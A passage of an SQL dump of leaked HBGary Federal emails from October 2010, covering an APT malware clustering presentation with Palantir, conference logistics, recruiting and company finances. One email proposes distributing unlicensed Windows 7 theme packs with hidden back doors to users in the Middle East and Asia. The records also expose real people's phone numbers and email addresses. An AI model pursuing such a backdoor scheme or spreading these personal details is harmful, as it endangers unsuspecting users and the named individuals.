wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSorry;\r\nsource data doesn&#8217;t contain any of the social network analysis &#8211; just the\r\nFingerprint outputs and plots of relationships. The social stuff is a capstone\r\nI really think we need for the presentation though &#8211; can you put that together\r\neither for SOYSAUCE or some other APT samples?\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n_________________________________________________________\r\nAaron Zollman\r\nPalantir Technologies | Embedded Analyst\r\nazollman@palantir.com\r\n| 202-684-8066\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Zollman \r\nSent: Friday, October 01, 2010 4:16 PM\r\nTo: \'Aaron Barr\'\r\nSubject: RE: Soysauce clusters\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nOK,\r\ngot it now. Thanks.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n_________________________________________________________\r\nAaron Zollman\r\nPalantir Technologies | Embedded Analyst\r\nazollman@palantir.com\r\n| 202-684-8066\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, October 01, 2010 1:59 PM\r\nTo: Aaron Zollman\r\nSubject: Re: Soysauce clusters\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nyou\r\ngot the source data right?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAttached\r\nis Gregs brief from blackhat which was focused around this malware set.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5391,'aaron_hbgary_com/5391.html'),(12510,'2010-10-01','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297009274.M681096P14101Q7365.eml','mark@hbgary.com,\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','Fwd: Malware presentation at Palantir GovCon','These are the files I sent to Aaron:\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Ted Vera \r\nDate: Fri, Sep 17, 2010 at 6:56 PM\r\nSubject: Malware presentation at Palantir GovCon\r\nTo: Aaron Zollman \r\nCc: Barr Aaron , mark@hbgary.com\r\n\r\n\r\nHi Aaron,\r\n\r\nAttached are some known APT samples from an ongoing investigation.\r\nPlease add these to the samples Aaron B sent you.  If you find any\r\ncorrelations please send me screenshots as it will help with this\r\ninvestigation.\r\n\r\nHope you have a nice weekend!\r\nTed\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',10259,'aaron_hbgary_com/10259.html'),(12511,'2010-10-01','\"Matt Bigge\" <matt@strategicsocial.com>','/aaron@hbgary.com/new/1297009275.M186351P14101Q7366.eml','\"aaron@hbgary.com\" <aaron@hbgary.com>','Accepted: Invitation: Strategic Social @ Wed Oct 6 7am - 8am (matt@strategicsocial.com)','',12295,'aaron_hbgary_com/12295.html'),(12512,'2010-10-01','\"cybernexus Group Members\" <group-digests@linkedin.com>','/aaron@hbgary.com/new/1297009275.M506740P14101Q7367.eml','\"Aaron Barr\" <aaron@hbgary.com>','From Scott Sheldon and other cybernexus group members on LinkedIn','\r\n\r\n  \r\n  \r\n    Linkedin GroupsOctober 1, 2010\r\n    cybernexus\r\n\r\n    \r\n      \r\n        Latest:\r\n\r\n            1 discussion\r\n\r\n        \r\n\r\n    \r\n\r\n    \r\n\r\n\r\n  Most Active Discussions (1)\r\n    \r\n      \r\n            Technical Tuesday - 5 Oct 2010; 1600 - 1730; The Rise of the Social Web\r\n            1 comment  &raquo;\r\n      \r\n        Started by Scott Sheldon\r\n        \r\n        \r\n              This is an updated version of the presentation Aaron gave at the NSA REBL conference earlier this year with additional information he\'s...\r\n                    \r\n                    More &raquo;\r\n              By Scott Sheldon\r\n        \r\n        \r\n    \r\n\r\n  \r\nDiscussions (1)  \r\n\r\n    \r\n      \r\n        Cyber Solutions Conference - 14 Oct 2010; A Shared Responsibility\r\n        Comment or flag  &raquo;\r\n      \r\n\r\n        Started by Scott Sheldon, VP, Senior Account Executive at SAIC\r\n        \r\n          \r\n	              This is a one-day conference and exposition on October 14, 2010 at the Johns Hopkins-APL Kossiakoff Conference and Education Center from...\r\n	                    More &raquo;\r\n                By Scott Sheldon, VP, Senior Account Executive at SAIC\r\n           \r\n          \r\n    \r\n\r\n\r\n\r\n\r\n&nbsp;\r\nDon\'t want to receive email notifications? Adjust your message settings.\r\nStop inappropriate content the moment it is posted. Send me an email for each new discussion &#187;\r\nLinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission. &#169; 2010, LinkedIn Corporation.\r\n&nbsp;\r\n\r\n\r\n',3601,'aaron_hbgary_com/3601.html'),(12513,'2010-10-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009277.M660959P14101Q7368.eml','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>,\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','Fwd: Partner Booth Information','Can I get a bit of the booth material for this conference?AaronSent from my iPhoneBegin forwarded message:\r\nFrom: Dan Woods &lt;dwoods@palantir.com&gt;To: Dan Woods &lt;dwoods@palantir.com&gt;Subject: Partner Booth Information\r\nGovCon6 Partner Booth Presenters:Enclosed you will find the GovCon6 Partner Booth Guide, which should answer all your logistical questions about the upcoming conference.  You can write me with any questions.\r\nSee you soon!-Dan_________________________________________________________Dan Woods\r\nPalantir Technologies | Forward Deployed Engineerdwoods@palantir.com&lt;mailto:dwoods@palantir.com&gt; | 650.248.1909\r\n_________________________________________________________\r\n',8029,'aaron_hbgary_com/8029.html'),(12514,'2010-10-01','\"Matt Bigge\" <matt@strategicsocial.com>','/aaron@hbgary.com/new/1297009277.M942718P14101Q7369.eml','\"aaron@hbgary.com\" <aaron@hbgary.com>','Accepted: Invitation: Strategic Social @ Wed Oct 6 7am - 8am (matt@strategicsocial.com)','',16058,'aaron_hbgary_com/16058.html'),(12515,'2010-10-01','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297009278.M328592P14101Q7370.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Partner Booth Information','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nWhich materials would you like and when would you like it.&nbsp;&nbsp;\r\nPlease do not say by Monday. \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice Manager\r\n\r\nHBGary, Inc.\r\n\r\n3604 Fair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento, CA&nbsp; 95864\r\n\r\nTel:&nbsp; 916-459-4727 ext. 101\r\n\r\nFax: 916-481-1460\r\n\r\nEmail&nbsp; deeann@hbgary.com\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, October 01, 2010 4:32 PM\r\nTo: DeeAnn Buonaccorsi\r\nCc: Penny Leavy\r\nSubject: Fwd: Partner Booth Information\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nCan I get a bit of the booth material for this conference?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Dan Woods &lt;dwoods@palantir.com&gt;\r\nTo: Dan Woods &lt;dwoods@palantir.com&gt;\r\nSubject: Partner Booth Information\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGovCon6 Partner Booth\r\nPresenters:\r\n\r\nEnclosed you will find the GovCon6 Partner Booth Guide, which should answer all\r\nyour logistical questions about the upcoming conference. &nbsp;You can write me\r\nwith any questions.\r\n\r\nSee you soon!\r\n\r\n-Dan\r\n\r\n\r\n\r\n_________________________________________________________\r\nDan Woods\r\nPalantir Technologies | Forward Deployed Engineer\r\ndwoods@palantir.com&lt;mailto:dwoods@palantir.com&gt; |\r\n650.248.1909\r\n_________________________________________________________\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9052,'aaron_hbgary_com/9052.html'),(12516,'2010-10-02','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297009278.M653120P14101Q7371.eml','\"Aaron Barr\" <aaron@hbgary.com>','cities XL','watch this\r\nhttp://www.youtube.com/watch?v=OQXv4I1mbK4\r\n \r\n-G\r\n',2372,'aaron_hbgary_com/2372.html'),(12517,'2010-10-02','\"Jason Mueller\" <jmueller2004@gmail.com>','/aaron@hbgary.com/new/1297009278.M883352P14101Q7372.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Potentially Available Talent','Aaron,\r\n\r\nLet me know when you\'re free for lunch next week.  I\'m unavailable on the 6th however any other day besides then will work.  Looking forward to meeting!  \r\n\r\nR/\r\n\r\nJason Mueller\r\n\r\n\r\n\r\n\r\nOn Sep 24, 2010, at 11:29 PM, Aaron Barr wrote:\r\n\r\n> Hi Jason,\r\n> \r\n> Sorry for the delay.  a few hours after doing the podcast my wife called with immense pain.  Turns out she had kidney stones (ouch).  So thats turned things around quite a bit since then.  Lets get together when I get back and I can fill you in on all the existing and future positions we are going to be looking to fill.  Except for the 5th I am pretty open the week I get back.\r\n> \r\n> Aaron\r\n> \r\n> On Sep 23, 2010, at 2:36 PM, Jason Mueller wrote:\r\n> \r\n>> Aaron,\r\n>> \r\n>> Thanks again for coming on the show, we definitely appreciate you\r\n>> taking time out of your busy day to speak with us.  I\'m interested in\r\n>> speaking further when you get back from your trip to Seattle.  Do you\r\n>> happen to have Federal SE positions available as well?  Let me know\r\n>> when you get a chance.\r\n>> \r\n>> R/\r\n>> \r\n>> Jason Mueller\r\n>> \r\n>> On Tue, Sep 21, 2010 at 10:09 PM, Aaron Barr  wrote:\r\n>>> Hey Jason,\r\n>>> \r\n>>> Checking in on your status and that of some of your coworkers.  Interested to talk with you about what we have available and in our pipeline, where we are going (you will get a good feel for that tomorrow during the podcast as well).  If still of interest I would like to get some information on the folks you were talking about (including yourself).\r\n>>> \r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal, LLC\r\n>>> 719.510.8478\r\n>>> \r\n>>> \r\n>>> \r\n>>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal, LLC\r\n> 719.510.8478\r\n> \r\n> \r\n> \r\n\r\n',5538,'aaron_hbgary_com/5538.html'),(12518,'2010-10-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009279.M146166P14101Q7373.eml','\"Jason Mueller\" <jmueller2004@gmail.com>','Re: Potentially Available Talent','Great.  I am giving a social media talk on Tuesday in Columbia if you\r\nor anyone else is interested.  It\'s at the cybernexus group meeting.\r\nYou can check it out on facebook and linkedin, look for cybernexus.\r\n\r\nI\'ll take a look at my schedule and shoot you some times.  I am in\r\nSeattle soaking up a bit of home, return tomorrow.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Oct 1, 2010, at 6:09 PM, Jason Mueller  wrote:\r\n\r\n> Aaron,\r\n>\r\n> Let me know when you\'re free for lunch next week.  I\'m unavailable on the 6th however any other day besides then will work.  Looking forward to meeting!\r\n>\r\n> R/\r\n>\r\n> Jason Mueller\r\n>\r\n>\r\n>\r\n>\r\n> On Sep 24, 2010, at 11:29 PM, Aaron Barr wrote:\r\n>\r\n>> Hi Jason,\r\n>>\r\n>> Sorry for the delay.  a few hours after doing the podcast my wife called with immense pain.  Turns out she had kidney stones (ouch).  So thats turned things around quite a bit since then.  Lets get together when I get back and I can fill you in on all the existing and future positions we are going to be looking to fill.  Except for the 5th I am pretty open the week I get back.\r\n>>\r\n>> Aaron\r\n>>\r\n>> On Sep 23, 2010, at 2:36 PM, Jason Mueller wrote:\r\n>>\r\n>>> Aaron,\r\n>>>\r\n>>> Thanks again for coming on the show, we definitely appreciate you\r\n>>> taking time out of your busy day to speak with us.  I\'m interested in\r\n>>> speaking further when you get back from your trip to Seattle.  Do you\r\n>>> happen to have Federal SE positions available as well?  Let me know\r\n>>> when you get a chance.\r\n>>>\r\n>>> R/\r\n>>>\r\n>>> Jason Mueller\r\n>>>\r\n>>> On Tue, Sep 21, 2010 at 10:09 PM, Aaron Barr  wrote:\r\n>>>> Hey Jason,\r\n>>>>\r\n>>>> Checking in on your status and that of some of your coworkers.  Interested to talk with you about what we have available and in our pipeline, where we are going (you will get a good feel for that tomorrow during the podcast as well).  If still of interest I would like to get some information on the folks you were talking about (including yourself).\r\n>>>>\r\n>>>> Aaron Barr\r\n>>>> CEO\r\n>>>> HBGary Federal, LLC\r\n>>>> 719.510.8478\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal, LLC\r\n>> 719.510.8478\r\n>>\r\n>>\r\n>>\r\n>\r\n',5454,'aaron_hbgary_com/5454.html'),(12519,'2010-10-02','\"Greg Hoglund\" <greg@gunwalegames.com>','/aaron@hbgary.com/new/1297009279.M379220P14101Q7374.eml','aaron@hbgary.com,aaron@hbgary.com,','Partial List of video game Publishers',' \r\nAaron,\r\nHere is a list of video game publishers.  This is the list you need to start identifying target social contacts in.  These are people who invest and publish games.  The first part of the list are the hard-core video game publishers.  The second part of the list are newcomers who are doing social games, free to play, etc.  To be honest, I only recognize publishers in this first part of the list.  The only company in the second part I recognize is Gamers First and that&#39;s only because they are completely pwned by hackers and are a customer of HBGary.  I think a company like Zenga is their own publisher.  Angel and venture are also options if we don&#39;t want to go publisher.  \r\n\r\n \r\nList:\r\n \r\nUbisoft (has their own studio Ubisoft Montreal) (Rainbow Six) (Assasins Creed) (Farcry, Splinter Cell, Ghost Recon)\r\nVirgin Interactive (7th Guest)\r\nAcclaim (3 MMO&#39;s)\r\nElectronic Arts (has multiple studios as well)\r\nNintendo (Legend of Zelda, dude - and don&#39;t forget Super Mario, Metroid, and Pokemon)\r\nActivision/Blizzard (recent merger, World of Warcraft, two other MMO&#39;s)\r\nTake-two interactive\r\nSony Computer Entertainment (several MMO&#39;s in portfolio)\r\nBethesda Software (elder scrolls, fallout, oblivion) (actually, this is Zenimax Media)\r\nTHQ\r\nSquare Enix \r\nMicrosoft Games (Age of empires, publisher of Gears of War, Halo)\r\nKonami (Metal Gear, Contra)\r\nSega \r\nCapcom (devil may cry, resident evil)\r\nMTV Games\r\nNamco Bandai (pacman, dude - and Tekken too)\r\nWarner Bros. Interactive (F.E.A.R)\r\nDisney Interactive (4 MMO&#39;s)\r\nAtari\r\nSega\r\nOrigin (Ultima, Wing Commander) (this is EA now)\r\nAtlus\r\nLucasArts (publisher star wars the old republic)\r\nCodemasters (2 MMO&#39;s)\r\nNCSoft (Lineage MMO, Guild Wars MMO, City of Heroes)\r\nBioware (not sure if they publish, or just a studio)\r\nInterplay Entertainment (publisher of Fallout)\r\nValve\r\nMidway (Mortal Combat, Spy Hunter)\r\nRockstar (grand theft auto series, max payne)\r\nEidos (tomb raider, hitman)\r\nEpic (the entire Unreal series, developer of Gears of War)\r\nFuncom (Age of Conan MMO)\r\nMaxis (sim city, spore)\r\n3DO\r\nSouthpeak Games (Two Worlds)\r\nInterzone (1 MMO)\r\n \r\nOnes you may not have heard of (Asian?):\r\nHanbitSoft\r\nInfocomm Asia\r\nJagex\r\nJoymax\r\nKreeda\r\nNetGame\r\nNetDragon\r\nThe 9\r\nWebZen\r\n \r\nFree to play publishers:\r\nAeria (santa clara)\r\nNHN\r\nGala-Net\r\nPerfect World EntertainmentNexon \r\nIGG\r\nOGPlanet\r\nOutspark\r\nBigpoint\r\nUforia\r\nGamers First\r\nIGGI\r\n \r\n \r\nNHN\r\nOutspark\r\n \r\n \r\n \r\n \r\n \r\n \r\n',12396,'aaron_hbgary_com/12396.html'),(12520,'2010-10-02','\"Greg Hoglund\" <greg@gunwalegames.com>','/aaron@hbgary.com/new/1297009279.M594671P14101Q7375.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: updates','Can you send me your friends contact information?  I want to send the house model.\r\n \r\n-Greg\r\nOn Fri, Oct 1, 2010 at 8:18 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nThanks Greg.I am back on this full force this weekend.  Family wedding and get togethers/day trips have thrown a few wrenches into my work schedule this week, but if you haven&#39;t guessed from me by now I try not to pass those moments up as you can&#39;t get them back.  I had a great time, but have some catching up to do.\r\nAaron\r\n\r\n\r\nOn Sep 29, 2010, at 11:07 PM, Greg Hoglund wrote:&gt;&gt; I updated the google docs, made a special doc for the proposal and put the user stories back to a user-story doc.  Your email is active now.\r\n&gt;&gt; -GregAaron BarrCEOHBGary Federal, LLC719.510.8478\r\n',5918,'aaron_hbgary_com/5918.html'),(12521,'2010-10-02','\"Dr. Paul Nemirovsky via LinkedIn\" <member@linkedin.com>','/aaron@hbgary.com/new/1297009279.M839804P14101Q7376.eml','\"Aaron Barr\" <aaron@hbgary.com>','reconnect','\r\n\r\n  \r\n\r\n  \r\n\r\n\r\n  \r\n  LinkedIn\r\n\r\nDr. Paul Nemirovsky has sent you a message.\r\n\r\n\r\n  Date:\r\n  10/02/2010\r\n\r\n\r\n  Subject:\r\n  reconnect\r\n\r\n\r\n\r\n  Aaaron,\r\n\r\n\r\n\r\n\r\n\r\nHow are you?  I was trying to  get access to your presentation but I was not able to .  I got a message that I do not belong to that group.  What group is it?\r\n\r\n\r\n\r\n\r\n\r\nThank you,\r\n\r\n\r\n\r\n\r\n\r\nPaul\r\n\r\n\r\nView/reply to this message\r\n\r\nDon\'t want to receive e-mail notifications? Adjust your message settings.\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n  \r\n\r\n',14620,'aaron_hbgary_com/14620.html'),(12522,'2010-10-02','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297009280.M100053P14101Q7377.eml','\"Aaron Barr\" <aaron@hbgary.com>','unsolicited proposal idea',' \r\nAaron,\r\nI suggest we create a large set of unlicensed windows-7 themes for video games and movies appropriate for middle east &amp; asia.  These theme packs would contain back doors.\r\n \r\n-Greg\r\n',15656,'aaron_hbgary_com/15656.html'),(12523,'2010-10-03','\"David D. Merritt\" <david.d.merritt@gmail.com>','/aaron@hbgary.com/new/1297009280.M391386P14101Q7378.eml','aaron@hbgary.com','Hunter Killer Insanity 285','Aaron,\r\n\r\nhave your people her anything along a variant of Hunter Killer Insanity 285 recently?\r\n\r\ni hear it\'s being manipulated by the players in the sandbox...there\'s a stuxnet tie in as well...\r\n\r\nDave Merritt\r\n202-294-3838\r\n\r\n',8117,'aaron_hbgary_com/8117.html'),(12524,'2010-10-03','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297009280.M855503P14101Q7379.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Future of HBGary Federal',' \r\nGuys,\r\n \r\nWe should have a pow-wow about the future of HBGary Federal.  Penny and I both agree that it hasn&#39;t really been a success.  Some ideas have been brought up over the summer, including ideas about rolling HBGary Fed into a wholly owned sub, to the opposite spectrum where HBGary Fed is renamed to something else and dis-associated from HBGary.  You guys are basically out of money and none of the work you had planned has come in.  My impression is that any of the work you currently have has been given to you by HBGary proper, with the possible exception of the social media training.  \r\n\r\n \r\n-Greg\r\n',5046,'aaron_hbgary_com/5046.html'),(12525,'2010-10-03','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297009281.M312341P14101Q7381.eml','\"Aaron Barr\" <aaron@hbgary.com>,mikiya@gunwalegames.com,\"Martin Pillion\" <martin@hbgary.com>,john@gunwalegames.com,\"Shawn Bracken\" <shawn@hbgary.com>','Invitation: Gunwale @ Fri Oct 8 11am - 12pm (aaron@hbgary.com)',' more details &raquo;GunwaleStatus update meeting, Gunwale.  Meeting at office at 8AM.  Can webex Aaron in.  Keep it to an hour.WhenFri Oct 8 11am – 12pm Eastern TimeWhereSac Office,  (map)Calendaraaron@hbgary.comWho&#x2022;Greg Hoglund - organizer&#x2022;Aaron Barr&#x2022;mikiya@gunwalegames.com&#x2022;Martin Pillion&#x2022;john@gunwalegames.com&#x2022;Shawn BrackenGoing?&nbsp;&nbsp;&nbsp;Yes - Maybe - No&nbsp;&nbsp;&nbsp;&nbsp;more options &raquo;Invitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for invitations on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',10575,'aaron_hbgary_com/10575.html'),(12526,'2010-10-03','\"Christopher L Barnett\" <cbarnett4@csc.com>','/aaron@hbgary.com/new/1297009281.M545253P14101Q7382.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Social Media Training','\r\nAaron:\r\n\r\nVery cool. I\'ll take a look. May I disseminate\r\nwithin CSC and discuss with some government colleagues in the IC?\r\n\r\nHow are things going otherwise?\r\n\r\nChristopher Barnett\r\nPrincipal (Strategy Expert-Cyber)\r\nComputer Sciences Corporation\r\n\r\n3110 Fairview Park Drive, Falls Church, VA 22042\r\nFederal Consulting Practice (FCP)\r\ncbarnett4@csc.com\r\n571-230-5231\r\n\r\n&quot;Si vis pacem, para bellum&quot;\r\n- Old Roman Proverb \r\n\r\nThis is a PRIVATE message. If you are not the intended recipient, please\r\ndelete without copying and kindly advise us by e-mail of the mistake in\r\ndelivery. \r\nNOTE: Regardless of content, this e-mail shall not operate to bind CSC\r\nto any order or other contract unless pursuant to explicit written agreement\r\nor government initiative expressly permitting the use of e-mail for such\r\npurpose.\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nAaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\nTo:\r\nChristopher L Barnett/USA/CSC@CSC\r\n\r\nDate:\r\n10/01/2010 01:01 PM\r\n\r\nSubject:\r\nSocial Media Training\r\n\r\n\r\n\r\n\r\nHey Chris,\r\n\r\nI thought you might be interested.\r\n\r\nSocial media security is something everyone needs to be made more aware\r\nof, so we have restructured our training to make it more affordable for\r\norganizations to train as many people as they can fit into 2 days of training,\r\ncovering the essentials of familiarization, effective use, risks, methods\r\nof exploitation, and protection. &nbsp;It is quite an engaging and helpful\r\ntraining program. &nbsp;I think you would be surprised at how exploitable\r\norganizations are through social media.\r\n\r\nAttached is the training brochure. &nbsp;\r\n\r\nI would be interested to hear what you think.\r\n\r\n[attachment &quot;SM Training Brochure 25K Promo.pdf&quot; deleted by Christopher\r\nL Barnett/USA/CSC] \r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n\r\n\r\n',4567,'aaron_hbgary_com/4567.html'),(12527,'2010-10-03','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297009281.M77244P14101Q7380.eml','\"Aaron Barr\" <aaron@hbgary.com>','funding for rootkit.com','Aaron,\r\nCan you put me in touch with anyone who will fund rootkit.com?\r\n \r\n-Greg\r\n',10220,'aaron_hbgary_com/10220.html'),(12528,'2010-10-03','\"Aaron Zollman\" <azollman@palantir.com>','/aaron@hbgary.com/new/1297009282.M387911P14101Q7383.eml','\"Ted Vera\" <ted@hbgary.com>,mark@hbgary.com,\"Barr Aaron\" <aaron@hbgary.com>','RE: Malware presentation at Palantir GovCon','As soon as we have the TMC output for the files that Ted sent me, please get them to me. I\'d like to run them as early as possible Monday. \r\n\r\nI\'ve got a path for structuring the TMC reports -- basically, I split them out into text files by by path, registry, connection, and username and use tagging to reference back to the malware objects. \r\n\r\nAlso, I took a look at how we might organize soysauce malware, and there are very clear clusters in that: by PE timestamp and by resource section -- it breaks down perfectly cleanly. Screenshots of both the structured documents and soysauce clusters attached.\r\n\r\nAaron B: when can we meet Monday to put our slides together? I am free any time before 3:30pm.\r\n\r\nThanks,\r\n\r\n_________________________________________________________\r\nAaron Zollman\r\nPalantir Technologies | Embedded Analyst\r\nazollman@palantir.com | 202-684-8066\r\n\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Friday, October 01, 2010 5:24 PM\r\nTo: mark@hbgary.com; Barr Aaron\r\nCc: Aaron Zollman\r\nSubject: Fwd: Malware presentation at Palantir GovCon\r\n\r\nThese are the files I sent to Aaron:\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Ted Vera \r\nDate: Fri, Sep 17, 2010 at 6:56 PM\r\nSubject: Malware presentation at Palantir GovCon\r\nTo: Aaron Zollman \r\nCc: Barr Aaron , mark@hbgary.com\r\n\r\n\r\nHi Aaron,\r\n\r\nAttached are some known APT samples from an ongoing investigation.\r\nPlease add these to the samples Aaron B sent you.  If you find any correlations please send me screenshots as it will help with this investigation.\r\n\r\nHope you have a nice weekend!\r\nTed\r\n\r\n\r\n\r\n--\r\nTed Vera  |  President  |  HBGary Federal Office 916-459-4727x118  | Mobile 719-237-8623 www.hbgary.com  |  ted@hbgary.com\r\n',6026,'aaron_hbgary_com/6026.html'),(12529,'2010-10-04','\"Matthew Steckman\" <msteckman@palantir.com>','/aaron@hbgary.com/new/1297009283.M236155P14101Q7385.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','GovCon presentation','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron B,\r\n\r\n&nbsp;\r\n\r\nAre you coming to our office tomorrow so we can knock out\r\nthe preso?&nbsp; I&#8217;d like to try and work with you and Aaron Z for a little\r\nbit if I don&#8217;t have to put any fires out onsite.\r\n\r\n&nbsp;\r\n\r\n-Matt\r\n\r\n&nbsp;\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com | 202-257-2270\r\n\r\n&nbsp;\r\n\r\nFollow @palantirtech\r\n\r\nWatch youtube.com/palantirtech\r\n\r\nAttend Palantir Night Live\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',809,'aaron_hbgary_com/809.html'),(12530,'2010-10-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009283.M445177P14101Q7386.eml','\"Matthew Steckman\" <msteckman@palantir.com>,\"Matthew Steckman\" <msteckman@palantir.com>','Re: GovCon presentation','I am.  I have the day open for this except a brief visit to a customer site nearby.AaronFrom my iPhoneOn Oct 3, 2010, at 9:20 PM, Matthew Steckman &lt;msteckman@palantir.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nAaron B,\r\n\r\n \r\n\r\nAre you coming to our office tomorrow so we can knock out\r\nthe preso?  I’d like to try and work with you and Aaron Z for a little\r\nbit if I don’t have to put any fires out onsite.\r\n\r\n \r\n\r\n-Matt\r\n\r\n \r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com | 202-257-2270\r\n\r\n \r\n\r\nFollow @palantirtech\r\n\r\nWatch youtube.com/palantirtech\r\n\r\nAttend Palantir Night Live\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12438,'aaron_hbgary_com/12438.html'),(12531,'2010-10-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009283.M5369P14101Q7384.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: funding for rootkit.com','I&#39;ll try again.  I got interest from a few groups but they were mote interested in wrapping it in one of the larger contracts we are pursuing.I&#39;ll check again.\r\nFrom my iPhoneOn Oct 3, 2010, at 2:42 PM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:Aaron,\r\nCan you put me in touch with anyone who will fund rootkit.com?\r\n \r\n-Greg\r\n\r\n',3996,'aaron_hbgary_com/3996.html'),(12532,'2010-10-04','\"Matthew Steckman\" <msteckman@palantir.com>','/aaron@hbgary.com/new/1297009283.M649136P14101Q7387.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: GovCon presentation','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nExcellent, see you tomorrow!\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com\r\n| 202-257-2270\r\n\r\n&nbsp;\r\n\r\nFollow @palantirtech\r\n\r\nWatch youtube.com/palantirtech\r\n\r\nAttend Palantir\r\nNight Live\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Sunday, October 03, 2010 9:22 PM\r\nTo: Matthew Steckman\r\nCc: Aaron Zollman\r\nSubject: Re: GovCon presentation\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nI am. &nbsp;I have the day open for this except a brief\r\nvisit to a customer site 